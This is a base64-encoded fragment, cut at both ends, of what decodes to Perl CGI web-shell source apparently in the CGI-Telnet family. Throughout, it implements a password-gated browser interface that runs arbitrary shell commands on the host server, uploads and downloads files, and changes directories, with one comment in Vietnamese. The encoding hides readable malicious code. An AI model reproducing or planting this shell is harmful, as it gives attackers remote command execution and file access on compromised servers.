aW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKCWV4aXQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyOwoJCXByaW50ICZMaXN0RGlyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJFbmNvZGVyKCdjJykiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KJFByb21wdAo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJjIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXIgPSAmQWRkTGlua0RpcigiZG93bmxvYWQiKTsgCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcgp7CglteSAkcmVzdWx0ID0gIiI7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlubW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsKCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7CgkJZXhpdCgxKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOwoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CgkKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9tcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQgPC9ydW4+PGJyPjx0ZXh0YXJlYSBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyEKCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7CgkJJHJlc3VsdCAuPSAmUnVuQ21kOwoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykKCXsKCQkkcmVzdWx0IC49ICAmU2F2ZUZpbGVGb3JtOwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSRyZXN1bHQgLj0mUnVuQ21kOwoJfQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSdW5DbWQKewoJbXkgJHJlc3VsdD0iIjsKCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCWlmKCEkV2luTlQpCgl7CgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7Cgl9CglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgl7CgkJJHw9MTsKCQkkQ29tbWFuZCAuPSAiIHwiOwoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQl7CgkJCSRfID1+IHMvKFxufFxyX